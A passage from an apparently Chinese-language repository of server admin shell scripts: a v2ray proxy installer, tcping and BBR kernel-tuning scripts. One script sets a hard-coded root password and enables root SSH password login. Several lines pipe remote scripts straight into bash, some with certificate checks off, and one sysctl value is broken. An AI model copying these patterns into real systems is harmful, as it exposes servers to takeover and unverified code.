"Ubuntu" /etc/*-release; then 9 | OS='Ubuntu' 10 | else 11 | OS='unknow' 12 | fi 13 | } 14 | 15 | 16 | check_system 17 | echo && stty erase '^H' && read -p "输入域名: " domain 18 | 19 | [[ $OS == "Debian" ]] || [[ $OS == "Ubuntu" ]] && cmd='apt' && $cmd update -y 20 | [[ $OS == "CentOS" ]] && cmd='yum' 21 | 22 | $cmd install curl lrzsz zip unzip psmisc uuid -y 23 | wget -O /usr/bin/caddy https://raw.githubusercontent.com/caippx/caddy-v1/master/caddy 24 | chmod +x /usr/bin/caddy 25 | ulimit -n 512000 26 | mkdir -p /data/www/ 27 | mkdir -p /etc/caddy/conf.d 28 | echo "import conf.d/*" > /etc/caddy/caddy.conf 29 | echo " 30 | http://$domain:80 { 31 | root /data/www/$domain 32 | proxy /static 127.0.0.1:8848 { 33 | websocket 34 | header_upstream -Origin 35 | } 36 | } 37 | " > /etc/caddy/conf.d/$domain 38 | mkdir /data/www/$domain 39 | echo "waiting content ~ " > /data/www/$domain/index.html 40 | bash <(curl -s -L https://raw.githubusercontent.com/caippx/bash/master/suansuanru/lajiv2ray-install.sh) 41 | rm -rf /usr/local/etc/v2ray/*.json 42 | echo ' 43 | { 44 | "log": { 45 | "access": "/var/log/v2ray/access.log", 46 | "error": "/var/log/v2ray/error.log", 47 | "loglevel": "warning" 48 | }, 49 | "dns": {}, 50 | "stats": {}, 51 | "inbounds": [ 52 | { 53 | "port": 8848, 54 | "protocol": "vmess", 55 | "settings": { 56 | "clients": [ 57 | { 58 | "id": "'`uuid`'", 59 | "alterId": 233 60 | } 61 | ] 62 | }, 63 | "tag": "in-0", 64 | "streamSettings": { 65 | "network": "ws", 66 | "security": "aes-128-gcm", 67 | "wsSettings": { 68 | "path": "/static" 69 | } 70 | }, 71 | "listen": "127.0.0.1" 72 | } 73 | ], 74 | "outbounds": [ 75 | { 76 | "tag": "direct", 77 | "protocol": "freedom", 78 | "settings": {} 79 | }, 80 | { 81 | "tag": "blocked", 82 | "protocol": "blackhole", 83 | "settings": {} 84 | } 85 | ], 86 | "routing": { 87 | "domainStrategy": "AsIs", 88 | "rules": [ 89 | { 90 | "type": "field", 91 | "ip": [ 92 | "geoip:private" 93 | ], 94 | "outboundTag": "blocked" 95 | } 96 | ] 97 | }, 98 | "policy": {}, 99 | "reverse": {}, 100 | "transport": {} 101 | } 102 | ' > /usr/local/etc/v2ray/config.json 103 | killall -9 caddy 104 | ulimit -n 512000 105 | nohup caddy -conf=/etc/caddy/caddy.conf -agree -quic >> /tmp/caddy.log 2>&1 & 106 | service v2ray restart 107 | uuid=`cat /usr/local/etc/v2ray/config.json | grep "id" | cut -d '"' -f 4` 108 | ip=`curl -s http://whatismyip.akamai.com` 109 | echo " 110 | 连接信息: 111 | IP: $ip 112 | 端口:80 113 | 用户id:$uuid 114 | 额外id:233 115 | 加密方式:aes-128-gcm 116 | 传输协议:ws 117 | 伪装类型:none 118 | 伪装域名:$domain 119 | 路径:/static 120 | 底层传输安全:No 121 | 122 | 重复查看URL 请使用cat /etc/v2url.txt 123 | " 124 | txt=' 125 | {\n 126 | "v": "2",\n 127 | "ps": "'$domain'",\n 128 | "add": "'$ip'",\n 129 | "port": "80",\n 130 | "id": "'$uuid'",\n 131 | "aid": "233",\n 132 | "net": "ws",\n 133 | "type": "none",\n 134 | "host": "'$domain'",\n 135 | "path": "/static",\n 136 | "tls": ""\n 137 | }' 138 | 139 | encode=`echo -e $txt | base64` 140 | url="vmess://$encode" 141 | echo $url > /etc/v2url.txt 142 | sed -i 's/[ ][ ]*//g' /etc/v2url.txt 143 | cat /etc/v2url.txt 144 | 145 | -------------------------------------------------------------------------------- /tcping/README.md: -------------------------------------------------------------------------------- 1 | # CentOS系统 用这个 2 | yum install -y tcptraceroute bc 3 | 4 | # Debian/Ubuntu系统 用这个 5 | apt-get install -y tcptraceroute bc 6 | 7 | # 使用方法 8 | wget -O /usr/bin/tcping https://soft.mengclaw.com/Bash/TCP-PING 9 | 10 | chmod +x /usr/bin/tcping 11 | -------------------------------------------------------------------------------- /tcping/TCP-PING: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # 3 | # tcpping: test response times using TCP SYN packets 4 | # URL: http://www.vdberg.org/~richard/tcpping.html 5 | # 6 | # uses tcptraceroute from http://michael.toren.net/code/tcptraceroute/ 7 | # 8 | # (c) 2002-2005 Richard van den Berg under the GPL 9 | # http://www.gnu.org/copyleft/gpl.html 10 | # 11 | # 2002/12/20 v1.0 initial version 12 | # 2003/01/25 v1.1 added -c and -r options 13 | # now accepting all other tcptraceroute options 14 | # 2003/01/30 v1.2 removed double quotes around backquotes 15 | # 2003/03/25 v1.3 added -x option, courtesy of Alvin Austin 16 | # 2005/03/31 v1.4 added -C option, courtesy of Norman Rasmussen 17 | # 2007/01/11 v1.5 catch bad destination addresses 18 | # 2007/01/19 v1.6 catch non-root tcptraceroute 19 | # 2008/02/10 v1.7 make -C work when reverse lookup fails, courtesy of Fabrice Le Dorze 20 | 21 | 22 | ver="v1.7" 23 | format="%Y%m%d%H%M%S" 24 | d="no" 25 | c="no" 26 | C="no" 27 | ttl=255 28 | seq=0 29 | q=1 30 | r=1 31 | w=3 32 | topts="" 33 | 34 | usage () { 35 | name=`basename $0` 36 | echo "tcpping $ver Richard van den Berg " 37 | echo 38 | echo "Usage: $name [-d] [-c] [-C] [-w sec] [-q num] [-x count] ipaddress [port]" 39 | echo 40 | echo " -d print timestamp before every result" 41 | echo " -c print a columned result line" 42 | echo " -C print in the same format as fping's -C option" 43 | echo " -w wait time in seconds (defaults to 3)" 44 | echo " -r repeat every n seconds (defaults to 1)" 45 | echo " -x repeat n times (defaults to unlimited)" 46 | echo 47 | echo "See also: man tcptraceroute" 48 | echo 49 | } 50 | 51 | _checksite() { 52 | ttr=`tcptraceroute -f ${ttl} -m ${ttl} -q ${q} -w ${w} $* 2>&1` 53 | if echo "${ttr}" | egrep -i "(bad destination|got roo)" >/dev/null 2>&1; then 54 | echo "${ttr}" 55 | exit 56 | fi 57 | } 58 | 59 | _testsite() { 60 | myseq="${1}" 61 | shift 62 | [ "${c}" = "yes" ] && nows=`date +${format}` 63 | [ "${d}" = "yes" ] && nowd=`date` 64 | ttr=`tcptraceroute -f ${ttl} -m ${ttl} -q ${q} -w ${w} $* 2>/dev/null` 65 | host=`echo "${ttr}" | awk '{print $2 " " $3}'` 66 | rtt=`echo "${ttr}" | sed 's/.*] //' | awk '{print $1}'` 67 | not=`echo "${rtt}" | tr -d ".0123456789"` 68 | [ "${d}" = "yes" ] && echo "$nowd" 69 | if [ "${c}" = "yes" ]; then 70 | if [ "x${rtt}" != "x" -a "x${not}" = "x" ]; then 71 | echo "$myseq $nows $rtt $host" 72 | else 73 | echo "$myseq $nows $max $host" 74 | fi 75 | elif [ "${C}" = "yes" ]; then 76 | if [ "$myseq" = "0" ]; then 77 | echo -n "$1 :" 78 | fi 79 | if [ "x${rtt}" != "x" -a "x${not}" = "x" ]; then 80 | echo -n " $rtt" 81 | else 82 | echo -n " -" 83 | fi 84 | if [ "$x" = "1" ]; then 85 | echo 86 | fi 87 | else 88 | echo "${ttr}" | sed -e "s/^.*\*.*$/seq $myseq: no response (timeout)/" -e "s/^$ttl /seq $myseq: tcp response from/" 89 | fi 90 | # echo "${ttr}" 91 | } 92 | 93 | while getopts dhq:w:cr:nNFSAEi:f:l:m:p:s:x:C opt ; do 94 | case "$opt" in 95 | d|c|C) eval $opt="yes" ;; 96 | q|w|r|x) eval $opt="$OPTARG" ;; 97 | n|N|F|S|A|E) topt="$topt -$opt" ;; 98 | i|l|p|s) topt="$topt -$opt $OPTARG" ;; 99 | f|m) ttl="$OPTARG" ;; 100 | ?) usage; exit ;; 101 | esac 102 | done 103 | 104 | shift `expr $OPTIND - 1` 105 | 106 | if [ "x$1" = "x" ]; then 107 | usage 108 | exit 109 | fi 110 | 111 | max=`echo "${w} * 1000" | bc` 112 | 113 | if [ `date +%s` != "%s" ]; then 114 | format="%s" 115 | fi 116 | 117 | _checksite ${topt} $* 118 | 119 | if [ "$x" = "" ]; then 120 | while [ 1 ] ; do 121 | _testsite ${seq} ${topt} $* & 122 | pid=$! 123 | if [ "${C}" = "yes" ]; then 124 | wait $pid 125 | fi 126 | seq=`expr $seq + 1` 127 | sleep ${r} 128 | done 129 | else 130 | while [ "$x" -gt 0 ] ; do 131 | _testsite ${seq} ${topt} $* & 132 | pid=$! 133 | if [ "${C}" = "yes" ]; then 134 | wait $pid 135 | fi 136 | seq=`expr $seq + 1` 137 | x=`expr $x - 1` 138 | if [ "$x" -gt 0 ]; then 139 | sleep ${r} 140 | fi 141 | done 142 | fi 143 | 144 | exit 145 | 146 | -------------------------------------------------------------------------------- /tcping/tcping.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/caippx/bash/ff20cdbf1b23cc477280e01f0fb80de2563dc1df/tcping/tcping.exe -------------------------------------------------------------------------------- /tmpssh.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | echo root:ppxwo.com |sudo chpasswd root 3 | sudo sed -i 's/^.*PermitRootLogin.*/PermitRootLogin yes/g' /etc/ssh/sshd_config; 4 | sudo sed -i 's/^.*PasswordAuthentication.*/PasswordAuthentication yes/g' /etc/ssh/sshd_config; 5 | sudo service sshd restart 6 | -------------------------------------------------------------------------------- /vvr/README.md: -------------------------------------------------------------------------------- 1 | v0, 单线暴力加速 适用于debian9+,ubuntu16+ 2 | 3 | v2, 新版本 适用于debian10+,ubuntu18+ 4 | 4.x 5.x 自带BBR内核适用 5 | 6 | 7 | bash <(wget --no-check-certificate -qO- 'https://raw.githubusercontent.com/caippx/bash/master/vvr/vvr.bash') 8 | 9 | bash <(wget --no-check-certificate -qO- 'https://raw.githubusercontent.com/caippx/bash/master/vvr/vvrv2.sh') 10 | 11 | bash <(wget --no-check-certificate -qO- 'https://ppxvpn.com/https://raw.githubusercontent.com/caippx/bash/master/vvr/vvr2-cn.sh') 12 | 13 | -------------------------------------------------------------------------------- /vvr/test.sh: -------------------------------------------------------------------------------- 1 | sudo cp /etc/sysctl.conf /etc/sysctl.conf.bk_$(date +%Y%m%d_%H%M%S) && sudo sh -c 'echo "kernel.pid_max = 65535 2 | kernel.panic = 1 3 | kernel.sysrq = 1 4 | kernel.core_pattern = core_%e 5 | kernel.printk = 3 4 1 3 6 | kernel.numa_balancing = 0 7 | kernel.sched_autogroup_enabled = 0 8 | 9 | vm.swappiness = 10 10 | vm.dirty_ratio = 10 11 | vm.dirty_background_ratio = 5 12 | vm.panic_on_oom = 1 13 | vm.overcommit_memory = 1 14 | vm.min_free_kbytes = 153600 15 | 16 | net.core.default_qdisc = cake 17 | net.core.netdev_max_backlog = 2000 18 | net.core.rmem_max = 78643200 19 | net.core.wmem_max = 39321600 20 | net.core.rmem_default = 87380 21 | net.core.wmem_default = 65536 22 | net.core.somaxconn = 500 23 | net.core.optmem_max = 65536 24 | 25 | net.ipv4.tcp_fastopen = 3 26 | net.ipv4.tcp_timestamps = 1 27 | net.ipv4.tcp_tw_reuse = 1 28 | net.ipv4.tcp_fin_timeout = 10 29 | net.ipv4.tcp_slow_start_after_idle = 0 30 | net.ipv4.tcp_max_tw_buckets = 32768 31 | net.ipv4.tcp_sack = 1 32 | net.ipv4.tcp_fack = 0 33 | 34 | net.ipv4.tcp_rmem = 8192 87380 78643200 35 | net.ipv4.tcp_wmem = 8192 65536 39321600 36 | net.ipv4.tcp_mtu_probing = 1 37 | net.ipv4.tcp_congestion_control = bbr 38 | net.ipv4.tcp_notsent_lowat = 4096 39 | net.ipv4.tcp_window_scaling = 1 40 | net.ipv4.tcp_adv_win_scale = 2 41 | net.ipv4.tcp_moderate_rcvbuf = 1 42 | net.ipv4.tcp_no_metrics_save = 0 43 | net.ipv4.tcp_init_cwnd = undefined 44 | 45 | net.ipv4.tcp_max_syn_backlog = 2048 46 | net.ipv4.tcp_max_orphans = 65536 47 | net.ipv4.tcp_synack_retries = 2 48 | net.ipv4.tcp_syn_retries = 3 49 | net.ipv4.tcp_abort_on_overflow = 0 50 | net.ipv4.tcp_stdurg = 0 51 | net.ipv4.tcp_rfc1337 = 0 52 | net.ipv4.tcp_syncookies = 1 53 | 54 | net.ipv4.ip_local_port_range = 1024 65535 55 | net.ipv4.ip_no_pmtu_disc = 0 56 | net.ipv4.route.gc_timeout = 100 57 | net.ipv4.neigh.default.gc_stale_time = 120 58 | net.ipv4.neigh.default.gc_thresh3 = 8192 59 | net.ipv4.neigh.default.gc_thresh2 = 4096 60 | net.ipv4.neigh.default.gc_thresh1 = 1024 61 | 62 | net.ipv4.icmp_echo_ignore_broadcasts = 1 63 | net.ipv4.icmp_ignore_bogus_error_responses = 1 64 | net.ipv4.conf.all.rp_filter = 1 65 | net.ipv4.conf.default.rp_filter = 1 66 | net.ipv4.conf.all.arp_announce = 2 67 | net.ipv4.conf.default.arp_announce = 2 68 | net.ipv4.conf.all.arp_ignore = 1 69 | net.ipv4.conf.default.arp_ignore = 1" > /etc/sysctl.conf' && sudo sysctl -p 70 | -------------------------------------------------------------------------------- /vvr/v0/tcp_bbr.ko: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/caippx/bash/ff20cdbf1b23cc477280e01f0fb80de2563dc1df/vvr/v0/tcp_bbr.ko -------------------------------------------------------------------------------- /vvr/v2/Makefile: -------------------------------------------------------------------------------- 1 | obj-m := tcp_bbr.o 2 | 3 | all: 4 | make -C /lib/modules/`uname -r`/build M=`pwd` modules CC=`which gcc` 5 | 6 | clean: 7 | make -C /lib/modules/`uname -r`/build M=`pwd` clean 8 | 9 | install: 10 | cp -rf tcp_bbr.ko /lib/modules/`uname -r`/kernel/net/ipv4 11 | insmod /lib/modules/`uname -r`/kernel/net/ipv4/tcp_bbr.ko 2>/dev/null || true 12 | depmod -a 13 | sed -i '/net\.core\.default_qdisc/d' /etc/sysctl.conf 14 | sed -i '/net\.ipv4\.tcp_congestion_control/d' /etc/sysctl.conf 15 | while [ -z "$$(sed -n '$$p' /etc/sysctl.conf)" ]; do sed -i '$$d' /etc/sysctl.conf; done 16 | sed -i '$$a\net.core.default_qdisc = fq\nnet.ipv4.tcp_congestion_control = bbr\n\n' /etc/sysctl.conf 17 | sysctl -p 18 | 19 | uninstall: 20 | rm -rf /lib/modules/`uname -r`/kernel/net/ipv4/tcp_bbr.ko 21 | sed -i '/net\.core\.default_qdisc/d' /etc/sysctl.conf 22 | sed -i '/net\.ipv4\.tcp_congestion_control/d' /etc/sysctl.conf 23 | while [ -z "$$(sed -n '$$p' /etc/sysctl.conf)" ]; do sed -i '$$d' /etc/sysctl.conf; done 24 | sysctl -p 25 | -------------------------------------------------------------------------------- /vvr/v2/Makefile-apline: -------------------------------------------------------------------------------- 1 | obj-m := tcp_bbr.o 2 | 3 | all: 4 | make -C /lib/modules/`uname -r`/build M=`pwd` modules CC=`which gcc` 5 | 6 | clean: 7 | make -C /lib/modules/`uname -r`/build M=`pwd` clean 8 | 9 | install: 10 | gzip tcp_bbr.ko 11 | cp -rf tcp_bbr.ko.gz /lib/modules/`uname -r`/kernel/net/ipv4 12 | insmod /lib/modules/`uname -r`/kernel/net/ipv4/tcp_bbr.ko.gz 2>/dev/null || true 13 | depmod -a 14 | sed -i '/net\.core\.default_qdisc/d' /etc/sysctl.conf 15 | sed -i '/net\.ipv4\.tcp_congestion_control/d' /etc/sysctl.conf 16 | while [ -z "$$(sed -n '$$p' /etc/sysctl.conf)" ]; do sed -i '$$d' /etc/sysctl.conf; done 17 | sed -i '$$a\net.core.default_qdisc = fq\nnet.ipv4.tcp_congestion_control = bbr\n\n' /etc/sysctl.conf 18 | sysctl -p 19 | 20 | uninstall: 21 | rm -rf /lib/modules/`uname -r`/kernel/net/ipv4/tcp_bbr.ko 22 | sed -i '/net\.core\.default_qdisc/d' /etc/sysctl.conf 23 | sed -i '/net\.ipv4\.tcp_congestion_control/d' /etc/sysctl.conf 24 | while [ -z "$$(sed -n '$$p' /etc/sysctl.conf)" ]; do sed -i '$$d' /etc/sysctl.conf; done 25 | sysctl -p 26 | -------------------------------------------------------------------------------- /vvr/v2/src/5.x/README.md: -------------------------------------------------------------------------------- 1 | 5.x内核 2 | -------------------------------------------------------------------------------- /vvr/v2/src/README.md: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /vvr/vvr.bash: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | bash <(wget --no-check-certificate -qO- "https://raw.githubusercontent.com/MoeClub/BBR/master/install.sh") 4 | cd /lib/modules/4.14.153/kernel/net/ipv4 5 | wget --no-check-certificate -qO "tcp_bbr.ko" "https://raw.githubusercontent.com/caippx/bash/master/vvr/v0/tcp_bbr.ko" 6 | echo 'Setting: limits.conf' 7 | [ -f /etc/security/limits.conf ] && LIMIT='262144' && sed -i '/^\(\*\|root\)[[:space:]]*\(hard\|soft\)[[:space:]]*\(nofile\|memlock\)/d' /etc/security/limits.conf && echo -ne "*\thard\tmemlock\t${LIMIT}\n*\tsoft\tmemlock\t${LIMIT}\nroot\thard\tmemlock\t${LIMIT}\nroot\tsoft\tmemlock\t${LIMIT}\n*\thard\tnofile\t${LIMIT}\n*\tsoft\tnofile\t${LIMIT}\nroot\thard\tnofile\t${LIMIT}\nroot\tsoft\tnofile\t${LIMIT}\n\n" >>/etc/security/limits.conf 8 | echo 'Setting: sysctl.conf' 9 | cat >>/etc/sysctl.conf</dev/null || installDep+=("${dep}"); done 7 | 8 | if [ "${#installDep[@]}" -gt 0 ]; then 9 | apk update 10 | apk add "${installDep[@]}" 11 | if [ $? -ne 0 ]; then 12 | echo "Install Package Fail." 13 | echo "安装依赖失败." 14 | exit 1 15 | fi 16 | fi 17 | 18 | kernelVer=$(uname -r |cut -d- -f1 |cut -d. -f1-2) 19 | [ ! -n "${kernelVer}" ] && echo "No Found Kernel Version." && echo "无法识别内核版本." && exit 1 20 | 21 | wget -qO /tmp/tcp_bbr.c "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/plain/net/ipv4/tcp_bbr.c?h=v${kernelVer}" 22 | [ $? -ne 0 ] && echo "Invalid Kernel Version." && echo "不支持的内核版本" && exit 1 23 | 24 | wget -qO /tmp/Makefile "https://raw.githubusercontent.com/caippx/bash/master/vvr/v2/Makefile-apline" 25 | [ $? -ne 0 ] && echo "Invalid Make File." && echo "编译文件下载错误" && exit 1 26 | 27 | 28 | # bbr_min_rtt_win_sec 29 | sed -i 's|static const u32 bbr_min_rtt_win_sec[^;]*;|static const u32 bbr_min_rtt_win_sec = 13;|g' /tmp/tcp_bbr.c 30 | 31 | # bbr_probe_rtt_mode_ms 32 | sed -i 's|static const u32 bbr_probe_rtt_mode_ms[^;]*;|static const u32 bbr_probe_rtt_mode_ms = 56;|g' /tmp/tcp_bbr.c 33 | 34 | # bbr_min_tso_rate 35 | sed -i 's|static const int bbr_min_tso_rate[^;]*;|static const int bbr_min_tso_rate = 256000;|g' /tmp/tcp_bbr.c 36 | 37 | # bbr_gain 38 | sed -i 's|static const int bbr_high_gain[^;]*;|static const int bbr_high_gain = BBR_UNIT * (2885 * 2) / 1000 + 1;|g' /tmp/tcp_bbr.c 39 | sed -i 's|static const int bbr_drain_gain[^;]*;|static const int bbr_drain_gain = BBR_UNIT * 2 * 1000 / 2885;|g' /tmp/tcp_bbr.c 40 | 41 | # bbr_pacing_gain 42 | sed -i '1h;1!H;$!d;${g;s|static const int bbr_pacing_gain\[\][^;]*;|static const int bbr_pacing_gain[] = \{\n BBR_UNIT * 16 / 8,\n BBR_UNIT * 6 / 8,\n BBR_UNIT * 16 / 8, BBR_UNIT * 10 / 8, BBR_UNIT * 14 / 8,\n BBR_UNIT * 10 / 8, BBR_UNIT * 12 / 8, BBR_UNIT * 10 / 8\n\};|g;}' /tmp/tcp_bbr.c 43 | 44 | # bbr_full_bw_thresh 45 | sed -i 's|static const u32 bbr_full_bw_thresh[^;]*;|static const u32 bbr_full_bw_thresh = BBR_UNIT * 17 / 16;|g' /tmp/tcp_bbr.c 46 | 47 | # bbr_lt_bw 48 | sed -i 's|static const u32 bbr_lt_bw_ratio[^;]*;|static const u32 bbr_lt_bw_ratio = BBR_UNIT / 4;|g' /tmp/tcp_bbr.c 49 | sed -i 's|static const u32 bbr_lt_bw_diff[^;]*;|static const u32 bbr_lt_bw_diff = 8000 / 8;|g' /tmp/tcp_bbr.c 50 | 51 | # mark 52 | sed -i '$s|");| [ Vicer Violence RTT ] (WR V2.0)");|g' /tmp/tcp_bbr.c 53 | 54 | cd /tmp 55 | make && make install 56 | 57 | echo " 58 | fs.file-max = 104857600 59 | fs.nr_open = 1048576 60 | vm.overcommit_memory = 1 61 | vm.swappiness = 10 62 | net.core.somaxconn = 65535 63 | net.core.optmem_max = 1048576 64 | net.core.rmem_max = 8388608 65 | net.core.wmem_max = 8388608 66 | net.core.rmem_default = 1048576 67 | net.core.wmem_default = 1048576 68 | net.core.netdev_max_backlog = 65536 69 | net.ipv4.tcp_mem = 2097152 8388608 16777216 70 | net.ipv4.tcp_rmem = 16384 524288 16777216 71 | net.ipv4.tcp_wmem = 16384 524288 16777216 72 | net.ipv4.tcp_syncookies = 1 73 | net.ipv4.tcp_syn_retries = 3 74 | net.ipv4.tcp_synack_retries = 2 75 | net.ipv4.tcp_max_syn_backlog = 65535 76 | net.ipv4.tcp_fin_timeout = 16 77 | net.ipv4.tcp_keepalive_intvl = 32 78 | net.ipv4.tcp_keepalive_probes = 3 79 | net.ipv4.tcp_keepalive_time = 900 80 | net.ipv4.tcp_retries1 = 3 81 | net.ipv4.tcp_retries2 = 8 82 | net.ipv4.tcp_no_metrics_save = 1 83 | net.ipv4.tcp_timestamps = 1 84 | net.ipv4.tcp_slow_start_after_idle = 0 85 | net.ipv4.ip_forward = 1 86 | net.ipv4.tcp_fastopen = 0 87 | net.ipv4.tcp_fack = 1 88 | net.ipv4.tcp_sack = 1 89 | net.ipv4.tcp_dsack = 1 90 | net.ipv4.tcp_ecn = 0 91 | net.ipv4.tcp_ecn_fallback = 1 92 | " >> /etc/sysctl.conf 93 | sysctl -p 94 | -------------------------------------------------------------------------------- /vvr/vvr2-cn.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | [ ! -f "/lib/modules/$(uname -r)/kernel/net/ipv4/tcp_bbr.ko" ] && echo "Not Support BBR by Default." && echo "默认不支持BBR 请切换支持BBR的内核" && exit 1 4 | 5 | installDep=() 6 | for dep in $(echo "gcc,make" |sed 's/,/\n/g'); do command -v "${dep}" >/dev/null || installDep+=("${dep}"); done 7 | ls -1 "/usr/src" |grep -q "^linux-headers-$(uname -r)" || installDep+=("linux-headers-$(uname -r)") 8 | 9 | if [ "${#installDep[@]}" -gt 0 ]; then 10 | apt update 11 | apt install -y "${installDep[@]}" 12 | if [ $? -ne 0 ]; then 13 | echo "Install Package Fail." 14 | echo "安装依赖失败." 15 | exit 1 16 | fi 17 | fi 18 | 19 | kernelVer=$(uname -r |cut -d- -f1 |cut -d. -f1-2) 20 | [ ! -n "${kernelVer}" ] && echo "No Found Kernel Version." && echo "无法识别内核版本." && exit 1 21 | 22 | wget -qO /tmp/tcp_bbr.c "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/plain/net/ipv4/tcp_bbr.c?h=v${kernelVer}" 23 | [ $? -ne 0 ] && echo "Invalid Kernel Version." && echo "不支持的内核版本" && exit 1 24 | 25 | wget -qO /tmp/Makefile "https://ghproxy.11451185.xyz/raw.githubusercontent.com/caippx/bash/master/vvr/v2/Makefile" 26 | [ $? -ne 0 ] && echo "Invalid Make File." && echo "编译文件下载错误" && exit 1 27 | 28 | 29 | # bbr_min_rtt_win_sec 30 | sed -i 's|static const u32 bbr_min_rtt_win_sec[^;]*;|static const u32 bbr_min_rtt_win_sec = 13;|g' /tmp/tcp_bbr.c 31 | 32 | # bbr_probe_rtt_mode_ms 33 | sed -i 's|static const u32 bbr_probe_rtt_mode_ms[^;]*;|static const u32 bbr_probe_rtt_mode_ms = 56;|g' /tmp/tcp_bbr.c 34 | 35 | # bbr_min_tso_rate 36 | sed -i 's|static const int bbr_min_tso_rate[^;]*;|static const int bbr_min_tso_rate = 256000;|g' /tmp/tcp_bbr.c 37 | 38 | # bbr_gain 39 | sed -i 's|static const int bbr_high_gain[^;]*;|static const int bbr_high_gain = BBR_UNIT * (2885 * 2) / 1000 + 1;|g' /tmp/tcp_bbr.c 40 | sed -i 's|static const int bbr_drain_gain[^;]*;|static const int bbr_drain_gain = BBR_UNIT * 2 * 1000 / 2885;|g' /tmp/tcp_bbr.c 41 | 42 | # bbr_pacing_gain 43 | sed -i '1h;1!H;$!d;${g;s|static const int bbr_pacing_gain\[\][^;]*;|static const int bbr_pacing_gain[] = \{\n BBR_UNIT * 16 / 8,\n BBR_UNIT * 6 / 8,\n BBR_UNIT * 16 / 8, BBR_UNIT * 10 / 8, BBR_UNIT * 14 / 8,\n BBR_UNIT * 10 / 8, BBR_UNIT * 12 / 8, BBR_UNIT * 10 / 8\n\};|g;}' /tmp/tcp_bbr.c 44 | 45 | # bbr_full_bw_thresh 46 | sed -i 's|static const u32 bbr_full_bw_thresh[^;]*;|static const u32 bbr_full_bw_thresh = BBR_UNIT * 17 / 16;|g' /tmp/tcp_bbr.c 47 | 48 | # bbr_lt_bw 49 | sed -i 's|static const u32 bbr_lt_bw_ratio[^;]*;|static const u32 bbr_lt_bw_ratio = BBR_UNIT / 4;|g' /tmp/tcp_bbr.c 50 | sed -i 's|static const u32 bbr_lt_bw_diff[^;]*;|static const u32 bbr_lt_bw_diff = 8000 / 8;|g' /tmp/tcp_bbr.c 51 | 52 | # mark 53 | sed -i '$s|");| [ Vicer Violence RTT ] (WR V2.0)");|g' /tmp/tcp_bbr.c 54 | 55 | cd /tmp 56 | make && make install 57 | 58 | echo " 59 | fs.file-max = 104857600 60 | fs.nr_open = 1048576 61 | vm.overcommit_memory = 1 62 | vm.swappiness = 10 63 | net.core.somaxconn = 65535 64 | net.core.optmem_max = 1048576 65 | net.core.rmem_max = 8388608 66 | net.core.wmem_max = 8388608 67 | net.core.rmem_default = 1048576 68 | net.core.wmem_default = 1048576 69 | net.core.netdev_max_backlog = 65536 70 | net.ipv4.tcp_mem = 2097152 8388608 16777216 71 | net.ipv4.tcp_rmem = 16384 524288 16777216 72 | net.ipv4.tcp_wmem = 16384 524288 16777216 73 | net.ipv4.tcp_syncookies = 1 74 | net.ipv4.tcp_syn_retries = 3 75 | net.ipv4.tcp_synack_retries = 2 76 | net.ipv4.tcp_max_syn_backlog = 65535 77 | net.ipv4.tcp_fin_timeout = 16 78 | net.ipv4.tcp_keepalive_intvl = 32 79 | net.ipv4.tcp_keepalive_probes = 3 80 | net.ipv4.tcp_keepalive_time = 900 81 | net.ipv4.tcp_retries1 = 3 82 | net.ipv4.tcp_retries2 = 8 83 | net.ipv4.tcp_no_metrics_save = 1 84 | net.ipv4.tcp_timestamps = 1 85 | net.ipv4.tcp_slow_start_after_idle = 0 86 | net.ipv4.ip_forward = 1 87 | net.ipv4.tcp_fastopen = 0 88 | net.ipv4.tcp_fack = 1 89 | net.ipv4.tcp_sack = 1 90 | net.ipv4.tcp_dsack = 1 91 | net.ipv4.tcp_ecn = 0 92 | net.ipv4.tcp_ecn_fallback = 1 93 | " >> /etc/sysctl.conf 94 | sysctl -p 95 | -------------------------------------------------------------------------------- /vvr/vvrv2.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | 4 | 5 | 6 | [ ! -f "/lib/modules/$(uname -r)/kernel/net/ipv4/tcp_bbr.ko" ] && echo "Not Support BBR by Default." && echo "默认不支持BBR 请切换支持BBR的内核" && exit 1 7 | 8 | installDep=() 9 | for dep in $(echo "gcc,make,curl" |sed 's/,/\n/g'); do command -v "${dep}" >/dev/null || installDep+=("${dep}"); done 10 | ls -1 "/usr/src" |grep -q "^linux-headers-$(uname -r)" || installDep+=("linux-headers-$(uname -r)") 11 | 12 | if [ "${#installDep[@]}" -gt 0 ]; then 13 | apt update 14 | apt install -y "${installDep[@]}" 15 | if [ $? -ne 0 ]; then 16 | echo "Install Package Fail." 17 | echo "安装依赖失败." 18 | exit 1 19 | fi 20 | fi 21 | 22 | if curl --connect-timeout 5 -s https://github.com > /dev/null 2>&1; then 23 | echo "能够访问 github.com" 24 | # 如果访问正常,这里使用原始地址 25 | GITHUB_URL="https://" 26 | else 27 | echo "无法访问 github.com,使用代理" 28 | # 如果访问失败,则替换为代理地址 29 | GITHUB_URL="https://ghproxy.11451185.xyz/" 30 | fi 31 | 32 | kernelVer=$(uname -r |cut -d- -f1 |cut -d. -f1-2) 33 | [ ! -n "${kernelVer}" ] && echo "No Found Kernel Version." && echo "无法识别内核版本." && exit 1 34 | 35 | wget -qO /tmp/tcp_bbr.c "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/plain/net/ipv4/tcp_bbr.c?h=v${kernelVer}" 36 | [ $? -ne 0 ] && echo "Invalid Kernel Version." && echo "不支持的内核版本" && exit 1 37 | 38 | wget -qO /tmp/Makefile "${GITHUB_URL}raw.githubusercontent.com/caippx/bash/master/vvr/v2/Makefile" 39 | [ $? -ne 0 ] && echo "Invalid Make File." && echo "编译文件下载错误" && exit 1 40 | 41 | 42 | # bbr_min_rtt_win_sec 43 | sed -i 's|static const u32 bbr_min_rtt_win_sec[^;]*;|static const u32 bbr_min_rtt_win_sec = 13;|g' /tmp/tcp_bbr.c 44 | 45 | # bbr_probe_rtt_mode_ms 46 | sed -i 's|static const u32 bbr_probe_rtt_mode_ms[^;]*;|static const u32 bbr_probe_rtt_mode_ms = 56;|g' /tmp/tcp_bbr.c 47 | 48 | # 